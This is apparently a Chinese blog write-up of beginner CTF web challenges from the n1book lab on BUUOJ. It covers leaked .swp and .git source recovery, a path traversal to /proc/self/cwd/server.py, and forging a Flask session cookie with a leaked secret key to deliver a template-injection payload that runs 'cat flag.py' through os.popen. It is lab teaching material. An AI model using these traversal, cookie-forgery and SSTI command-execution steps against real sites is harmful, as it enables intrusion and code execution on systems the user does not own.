n1book-web入门


CTFER从0到1web入门

[第一章 web入门]常见的搜集

1. 信息收集,先看一下robots协议

image-20210528222856788

2. 看一下给出的文件

flag1:n1book{info_1

image-20210528222946682

3. 利用dirsearch工具扫一下后台备份文件

使用dirsearch工具,可能需要的时间比较长

image-20210528225932581

4861B9BF-2524-4B68-A738-64F0F596A099

image-20210528230837900

flag2:s_v3ry_im 

4. 检测有没有git备份

利用scrabble没有git泄漏

5. 尝试其他的泄漏

经过尝试是swp泄漏

http://a81e79bd-3a29-4095-967b-abc6a88366f2.node3.buuoj.cn/.index.php.swap

得到swp文件

将其恢复

vim -r index.php

由于mac的原因,无法恢复,直接打开看看

vim index.php.swp

//出现提示后,接空格
就可以看到了flag3

image-20210529084850537

p0rtant_hack}

[第一章 web入门]粗心的小李

1. 根据提示应该是,git回滚

image-20210529090507305

利用gitHack,下载网站源码

python2 GitHack.py http://cb28608e-55f8-4dd3-98c7-f3a74b2abb0d.node3.buuoj.cn/.git/

一定是python2;

进入网站目录,查看生成的index.html

image-20210529095217883

找到flag

第二种方式:

利用书中的工具,但是mac不能,可以在ubuntu上运行

sudo ./scrabble http://241be2ec-4c28-4fc6-bebc-49e5484606be.node3.buuoj.cn/

image-20210529102811942

然后

ls

发现index.html

image-20210529102843641

最后

git log --stat

或者

git reset --hard HEAD^这里会报错

找到是否有不同,最后直接打开index.html,寻找flag

image-20210529103205261

OK

[第一章 web入门]SQL注入-1

直接union注入,注意最后的列名。。。

[第一章 web入门]SQL注入-2

盲注即可

[第一章 web入门]afr_1

php伪协议直接过滤读取flag即可

[第一章 web入门]afr_2

目录穿越

查看源代码,发现有img目录,直接目录穿越

image-20210529111542350

读取flag

[第一章 web入门]afr_3

Linux 内核提供了一种通过 proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc 文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。

可以通过proc,查看当前正在运行的文件(系统进程)

image-20210529112223602

1. 先随便输入,到达article界面,url里面有个article参数,尝试proc/self/cmdline

image-20210529112608777

2. 我们需要回到顶级目录寻找

image-20210529112702410

3.查看这个文件

http://f76ee598-69ae-4965-9569-e13b9a11926d.node3.buuoj.cn/article?name=../../../proc/self/cwd/server.py

查看源码,比较清晰

image-20210529113344747

image-20210529113731564

这里用到session的编码工具flask-session-cookie-manager

先得到编码文件

Drmhze6EPcv0fN_81Bj-nA

image-20210529114008185

初始情况:

image-20210529114227798

构造payload,查看是否存在模板注入漏洞

构造方式,首先,需要满足session是字典的格式,其次,字典的值的语法要满足模板注入的框架语法

python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code':'{{\'\'.__class__.__mro__[2]}}'}"
//密文
eyJuMWNvZGUiOiJ7eycnLl9fY2xhc3NfXy5fX21yb19fWzJdfX0ifQ.YLG6gg.7ccRRfxrzC2WT4XhNg2SCW-HiyQ

在n1page界面,把密文当作session传过去

image-20210529115522095

可以看到我们构造的payload生成了结果,存在模板注入

python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code':'{{\'\'.__class__.__mro__[2].__subclasses__()}}'}"

image-20210529115850032

这时候就需要一个脚本(马上去学),跑出包含os的类。。

直接payload

python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

image-20210529120152091

得到flag


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录